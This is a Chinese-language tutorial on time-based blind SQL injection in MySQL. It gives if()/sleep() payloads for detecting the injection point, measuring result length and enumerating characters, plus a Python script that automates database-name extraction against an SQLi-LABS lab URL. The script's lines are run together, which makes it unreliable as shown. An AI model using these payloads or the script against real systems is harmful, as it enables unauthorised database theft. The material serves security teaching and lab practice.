Web安全:SQL注入之時間盲注原理+步驟+實戰操作

「作者簡介」:2022年北京冬奧會網絡安全中國代表隊,CSDN Top100,就職奇安信多年,以實戰工作為基礎對安全知識體系進行總結與歸納,著作適用于快速入門的 《網絡安全自學教程》,內容涵蓋系統安全、信息收集等12個知識域的一百多個知識點,持續更新。

這一章節我們需要知道時間盲注的原理和使用步驟。

在這里插入圖片描述

時間盲注是SQL注入漏洞的利用方式之一,也叫「延時注入」,根據頁面的「響應時間」來判斷是否存在注入。

時間盲注

  • 1、使用步驟
    • 第一步:判斷注入點
    • 第二步:判斷長度
    • 第三步:枚舉字符
  • 2、時間盲注的弊端
  • 3、盲注腳本
  • 4、實戰思路
    • 4.1、判斷是否存在時間盲注
      • 原理分析
    • 4.2、脫庫
      • 4.2.1、判斷返回結果的長度
        • 4.2.1.1、原理分析
      • 4.2.2、枚舉字符
        • 4.2.2.1、原理分析
  • 5、誤差判斷

1、使用步驟

時間盲注使用的「優先級」并不高,通常是在聯合注入、報錯注入、布爾盲注都無法使用時才會考慮使用:

  1. 頁面沒有「回顯位置」(聯合注入無法使用)
  2. 頁面不顯示數據庫的「報錯信息」(報錯注入無法使用)
  3. 無論成功還是失敗,頁面只「響應」一種結果(布爾盲注無法使用)

具體操作跟布爾盲注大同小異,可以分為三個步驟。

第一步:判斷注入點

依次嘗試以下類型的測試 payload 「延時」5秒以上則說明判斷成立,即存在注入

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a括號及各種過濾類型……

提示: sleep 的時間可以自定義,時間太長效率太低、時間太短則不容易判斷。

第二步:判斷長度

利用MySQL的 if()sleep() 判斷查詢結果的「長度」,從1開始判斷,并依次「遞增」

?id=1' and if((length(查詢語句) =1), sleep(5), 3) -- a

如果頁面響應時間超過5秒,說明長度判斷正確(sleep(5));
如果頁面響應時間不超過5秒(正常響應),說明長度判斷錯誤,繼續遞增判斷長度。

在這里插入圖片描述

第三步:枚舉字符

利用MySQL的 if()sleep() 判斷字符的內容。

從查詢結果中「截取」第一個字符,轉換成 ASCLL 碼,從32開始判斷,遞增至126。
關于ASCLL碼可參考我的另一篇文章:ASCLL編碼對照表

?id=1' and if((ascii(substr(查詢語句,1,1)) =1), sleep(5), 3) -- a

如果頁面響應時間超過5秒,說明字符內容判斷正確;
如果頁面響應時間不超過5秒(正常響應),說明字符內容判斷錯誤,遞增猜解該字符的其他可能性。

第一個字符猜解成功后,「依次猜解」第二個、第三個……第n個(n表示返回結果的長度)。

2、時間盲注的弊端

  1. 時間盲注的「時間復雜度」較高,需要消耗大量的時間。
  2. 時間盲注容易受到「網絡波動」等因素的影響,從而產生「誤差」

時間盲注誤差大、時間成本高,通常情況下,能夠證明注入存在就可以了。

3、盲注腳本

時間盲注通常會使用腳本自動化猜解,Python腳本如下,可按需修改:

import requests
import time# 將url 替換成你的靶場關卡網址
# 修改兩個對應的payload# 目標網址(不帶參數)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解長度使用的payload
payload_len = """?id=1' and if((length(database()) ={n})
,sleep(5),3) -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and if((ascii(substr((database()),{n},1)) ={r})
, sleep(5), 3) -- a"""# 獲取長度
def getLength(url, payload):length = 1  # 初始測試長度為1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 響應時間>5秒時,表示猜解成功if use_time > 5:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1  # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = ''  # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 頁面中出現此內容則表示成功if use_time > 5:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

4、實戰思路

試驗靶場:SQLi LABS Less 9
注入情況:單引號字符型注入

4.1、判斷是否存在時間盲注

確定注入點以后,需要判斷網頁是否存在時間盲注,同時滿足以下兩種情況時,可以確定存在時間盲注:

?id=1' and if(1, sleep(5), 3) -- a	延時5秒響應
?id=1' and if(0,sleep(5),3) -- a	正常響應

原理分析

if() 函數的第一個參數是條件表達式,1會轉換為 True,0會轉換為 False。

  • 條件表達式結果為 True 時,會執行第二個參數位置的代碼,即 sleep(5),延時5秒響應;
  • 條件表達式結果為 False 時,會執行第三個參數位置的代碼,即 3,自定義的占位符,無實際意義,頁面正常響應。

在這里插入圖片描述

4.2、脫庫

確定時間盲注存在以后,就可以進行脫庫了。
脫庫分為兩個步驟:判斷長度、枚舉字符

4.2.1、判斷返回結果的長度

我們以判斷當前使用的數據庫名的長度來舉例,首先判斷長度是否大于1。

?id=1' and if((length(database()) >1)
,sleep(5),3) -- a
4.2.1.1、原理分析

payload拼接到SQL中,執行過程如下:

在這里插入圖片描述

庫名的長度肯定大于1,如果頁面響應時間大于5秒,說明payload可用,開始從1開始測試長度,依次遞增:

在這里插入圖片描述

4.2.2、枚舉字符

庫名可用的字符有95個,比如大小寫字母、數字、下劃線等特殊字符。
我們截取第一個字符,窮舉這95種可能性即可,為了方便猜解,我們將字符轉換為ASCLL碼再進行判斷(字符對應的ASCLL為 32~126)。

先判斷當前使用的數據庫名 第一個字符的ASCLL碼是否大于1:

?id=1' and if((ascii(substr((database()),1,1)) >1)
, sleep(5), 3) -- a
4.2.2.1、原理分析

payload拼接到SQL中,執行過程如下:

在這里插入圖片描述
第一個字符的ASCLL碼肯定大于1,頁面響應5秒以上,說明payload可用。

依次判斷32到126,頁面響應5秒以上說明猜解正確;頁面正常響應說明猜解錯誤。

猜解成功第一個字符后,再依次猜解第二、第三……第n個字符(n表示返回結果的長度)。

5、誤差判斷

1)排除網絡影響

同樣的 payload ,如果某次響應時間很長,某次響應時間很短(比sleep()的時間還短),就說明是受到了「網絡波動」的影響。如果多次響應時間不一樣,但都比sleep()的時間長,也判斷延時成功。

2)排除緩存影響

同樣的 payload ,如果第一次響應時間很長,但后面響應時間就變短了,但比sleep()的時間要長,就說明受到了「緩存」的影響。

原理:數據庫會將執行過的SQL語句及執行結果放到緩存里,以減小數據庫的訪問壓力。數據庫在執行SQL時,會先找緩存,如果緩存存在一樣的SQL,則會直接返回緩存中的查詢結果,而不會查找數據庫。

這就意味著同樣一條SQL,第一次執行時,會消耗較多的時間(查數據庫);而第二次執行時,幾乎不消耗時間(查緩存)。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14242.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14242.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14242.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ICML2024高分論文!大模型計算效率暴漲至200%,來自中國AI公司

前段時間,KAN突然爆火,成為可以替代MLP的一種全新神經網絡架構,200個參數頂30萬參數;而且,GPT-4o的生成速度也是驚艷了一眾大模型愛好者。 大家開始意識到—— 大模型的計算效率很重要,提升大模型的token…

前端加載excel文件數據 XLSX插件的使用

npm i xlsx import axios from axios; axios //這里用自己封裝的http是不行的,踩過坑.get(url,{ responseType: "arraybuffer" }).then((re) > {console.log(re)let res re.datavar XLSX require("xlsx");let wb XLSX.read(r…

黑龍江大學文學院古代文學教研室安家琪副教授

女,生于1990年。蘭州大學文學學士、碩士,上海交通大學文學博士,曾赴臺灣東華大學交流,研究方向為明清詩文與唐代文學。 在《文藝理論研究》、《蘇州大學學報》、《唐史論叢》、《中國社會科學報》等期刊發表論文20余篇&#xff0…

2024年 電工杯 (A題)大學生數學建模挑戰賽 | 園區微電網風光儲協調優化配置 | 數學建模完整代碼解析

DeepVisionary 每日深度學習前沿科技推送&頂會論文&數學建模與科技信息前沿資訊分享,與你一起了解前沿科技知識! 本次DeepVisionary帶來的是電工杯的詳細解讀: 完整內容可以在文章末尾全文免費領取&閱讀! 問題重述…

干就對了!

成年人的世界哪有那么容易,不過都在負重前行,誰不是一邊抱怨著,一邊咬牙堅持,一邊崩潰,一邊還要自我安慰。 想改變,想更好,我們都有很多想法。 想再多不如動手做一次。一旦開始做了&#xff0…

前端手寫文件上傳;使用input實現文件拖動上傳

使用input實現文件拖動上傳 vue2代碼&#xff1a; <template><div><div class"drop-area" dragenter"highlight" dragover"highlight" dragleave"unhighlight" drop"handleDrop"click"handleClick&quo…

聽說京東618裁員沒?上午還在趕需求,下午就開會通知被裁了~

文末還有最新面經共享群&#xff0c;沒準能讓你刷到意向公司的面試真題呢。 京東也要向市場輸送人才了? 在群里看到不少群友轉發京東裁員相關的內容&#xff1a; 我特地去網上搜索了相關資料&#xff0c;看看網友的分享&#xff1a; 想不到馬上就618了&#xff0c;東哥竟然搶…

Python 機器學習 基礎 之 模型評估與改進 【模型評估與改進 / 交叉驗證】的簡單說明

Python 機器學習 基礎 之 模型評估與改進 【模型評估與改進 / 交叉驗證】的簡單說明 目錄 Python 機器學習 基礎 之 模型評估與改進 【模型評估與改進 / 交叉驗證】的簡單說明 一、簡單介紹 二、模型評估與改進 三、交叉驗證 1、scikit-learn 中的交叉驗證 2、交叉驗證的…

stm32工程綜合實驗_延時及中斷優先級

待下載綜合實驗 ![在這里插入圖片描述](https://img-blog.csdnimg.cn/161fa4e200bb4022bf384e80a3af8797.jpg 很好的編程思想模式及資料(富萊xx電子)

【repo系列】repo常用命令的使用

前言 repo是一種代碼版本管理工具&#xff0c;它是由一系列的Python腳本組成&#xff0c;封裝了一系列的Git命令&#xff0c;用來統一管理多個Git倉庫。 本文章描述repo常用命令的使用。 常用命令 初始化 repo init 初始化代碼倉 repo init [options]常用options: -u URL…

JDBC——API詳解

一、DriverManager 1、用于注冊驅動程序&#xff1a;registerDriver(Driver driver)。 更常用的是Class.forName("com.mysql.jdbc.Driver")是由于Driver中包含了registerDriver(Driver driver)&#xff0c;值得注意的是&#xff0c;是mysql5之后的版本中&#xff0…

1.每日設計模式-理論

目錄 一、什么是設計模式 二、設計原則 三、設計模式的種類 代碼地址&#xff1a;patterns: 每日設計模式 一、什么是設計模式 軟件設計模式(Design Pattern)是一套被反復使用、多數人知曉的、經過分類編目的、代碼設計經驗的總結&#xff0c;使用設計模式是為了可重用代碼…

AI大模型的口語練習APP

開發一個使用第三方大模型的口語練習APP涉及多個步驟&#xff0c;從需求分析到部署上線。以下是詳細的開發流程和關鍵步驟&#xff0c;通過系統化的流程和合適的技術選型&#xff0c;可以有效地開發出一個功能豐富、用戶體驗良好的口語練習APP。北京木奇移動技術有限公司&#…

網絡初識 二

一、TCP/IP五層協議 -> 應用層 : 傳輸的數據在應用程序中如何使用 -> 傳輸層 : 關注的是通信的起點終點 -> 網絡層 : 關注的是通信中的路線規劃 -> 數據鏈路層 : 關注的是相鄰節點之間的通信細節 -> 物理層 : 網絡通信的基礎設施 說是五層,實際上下面…

Qt案例練習(有源碼)

項目源碼和資源&#xff1a;Qt案例練習: qt各種小案例練習,有完整資源和完整代碼 1.案例1 項目需求&#xff1a;中間為文本框&#xff0c;當點擊上面的復選框和單選按鈕時&#xff0c;文本框內的文本會進行相應的變化。 代碼如下&#xff1a; #include "dialog.h" …

C++的數據結構(十):AVL樹

AVL樹是一種自平衡的二叉搜索樹&#xff0c;得名于其發明者G.M. Adelson-Velsky和E.M. Landis。在AVL樹中&#xff0c;任何節點的兩個子樹的高度最多相差1&#xff0c;這種性質確保了AVL樹的查找、插入和刪除操作的時間復雜度接近O(log n)。 AVL樹是一種二叉搜索樹&#xff0c;…

MongoDB基礎入門到深入(七)建模、調優

文章目錄 系列文章索引十一、MongoDB開發規范十二、MongoDB調優1、三大導致MongoDB性能不佳的原因2、影響MongoDB性能的因素3、MongoDB性能監控工具&#xff08;1&#xff09;mongostat&#xff08;2&#xff09;mongotop&#xff08;3&#xff09;Profiler模塊&#xff08;4&a…

K8S認證|CKA題庫+答案| 16. 升級集群

16、升級集群 CKA v1.29.0模擬系統免費下載試用&#xff1a; 百度網盤&#xff1a;https://pan.baidu.com/s/1vVR_AK6MVK2Jrz0n0R2GoQ?pwdwbki 題目&#xff1a; 您必須在以下Cluster/Node上完成此考題&#xff1a; Cluster Ma…

CTF網絡安全大賽簡單web題目:eval

題目來源于&#xff1a;bugku 題目難度&#xff1a;簡單 一道簡單web的題目 題目源代碼&#xff1a; <?phpinclude "flag.php";$a $_REQUEST[hello];eval( "var_dump($a);");show_source(__FILE__); ?> 這個PHP腳本有幾個關鍵部分&#xff0c;但…

太陽誘電:順應時代需求的新型電容器為何能在全球得到廣泛應用(下)

隨著汽車電動化和電子控制化的進展&#xff0c;車載計算機和電氣部件也在逐漸向大功率化的方向發展。而構成這些車載設備電源電路的電子元器件也必須隨之進行技術革新。太陽誘電集團攜手全資子公司ELNA&#xff0c;開發并供應新型電容器“導電性高分子混合鋁電解電容器”&#…